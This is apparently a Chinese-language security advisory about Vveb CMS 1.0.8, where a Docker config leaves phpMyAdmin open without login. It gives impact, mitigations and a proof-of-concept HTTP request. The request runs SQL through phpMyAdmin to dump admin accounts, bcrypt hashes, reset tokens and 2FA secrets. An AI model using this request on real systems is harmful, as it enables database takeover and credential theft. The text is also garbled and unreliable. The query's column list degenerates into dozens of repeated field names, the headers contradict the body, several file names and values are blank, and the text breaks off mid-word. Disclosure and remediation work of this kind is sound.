未认证的 phpMyAdmin (auth_type=config) 导致数据库完全读写及 Bcrypt 哈希转储 漏洞概述 Vveb CMS 1.0.8 版本中,上游 Docker 配置文件( )将 phpMyAdmin 配置为使用 。这意味着 phpMyAdmin 在服务器端配置中嵌入了固定的用户名和密码,无需登录即可直接访问数据库。该配置被硬编码在镜像中,导致任何能访问 phpMyAdmin URL 的攻击者都能获得数据库的完全控制权。 影响范围 受影响版本: Vveb CMS 1.0.8 (commit ) 严重程度: Critical (严重) 危害: - 数据泄露: 攻击者可读取 数据库中的所有数据,包括管理员和客户的 Bcrypt 哈希值。 - 数据篡改: 攻击者可修改数据库内容。 - 凭证重用: 获取的哈希值可被离线破解,用于攻击其他服务。 - 审计破坏: 攻击者可删除或修改审计日志。 修复方案 临时缓解措施 (无需代码更改) 1. 从运行中的 文件中移除 phpMyAdmin 服务的端口映射(删除 ),然后运行 。 2. 如果需要 Web 数据库管理,应将 phpMyAdmin 放置在认证反向代理后面(如 nginx/apache 或 mTLS),并仅允许访问 Docker 内部网络。 长期修复 (上游补丁) 1. 在 和 中,从 服务环境变量中移除 和 ,并添加 。 2. 将服务绑定到内部 Docker 网络( 改为 )。 3. 限制 MySQL 的权限,仅授予应用所需的最小权限。 4. 在 README 中明确说明,任何暴露 phpMyAdmin 到非回环接口的部署必须使用 cookie auth 和 HTTPS 反向代理。 5. 长期建议:单独分发一个不包含 phpMyAdmin 服务的 示例。 POC 代码/利用代码 1. 访问 phpMyAdmin 首页 (无需认证) 2. 提取管理员哈希 (SQL 查询) ```http POST /index.php?route=/sql HTTP/1.1 Host: localhost:47281 Cookie: phpMyAdmin=sessionid; pma_lang=en X-Requested-With: XMLHttpRequest Connection: close Content-Length: 0 sql_query=SELECT+admin_user%2Cusername%2Cemail%2Cpassword%2Ccreated_at%2Cupdated_at%2Cpassword_reset_token%2Cis_active%2Crole%2Clast_login%2Cfailed_login_attempts%2Clocked_until%2Ctwo_factor_secret%2Ctwo_factor_backup_codes%2Ctwo_factor_enabled%2Ctwo_factor_last_used%2Ctwo_factor_ip%2Ctwo_factor_user_agent%2Ctwo_factor_device_name%2Ctwo_factor_device_id%2Ctwo_factor_device_fingerprint%2Ctwo_factor_device_last_used%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_factor_device_last_ip%2Ctwo_factor_device_last_user_agent%2Ctwo_factor_device_last_fingerprint%2Ctwo_factor_device_last_login%2Ctwo_fac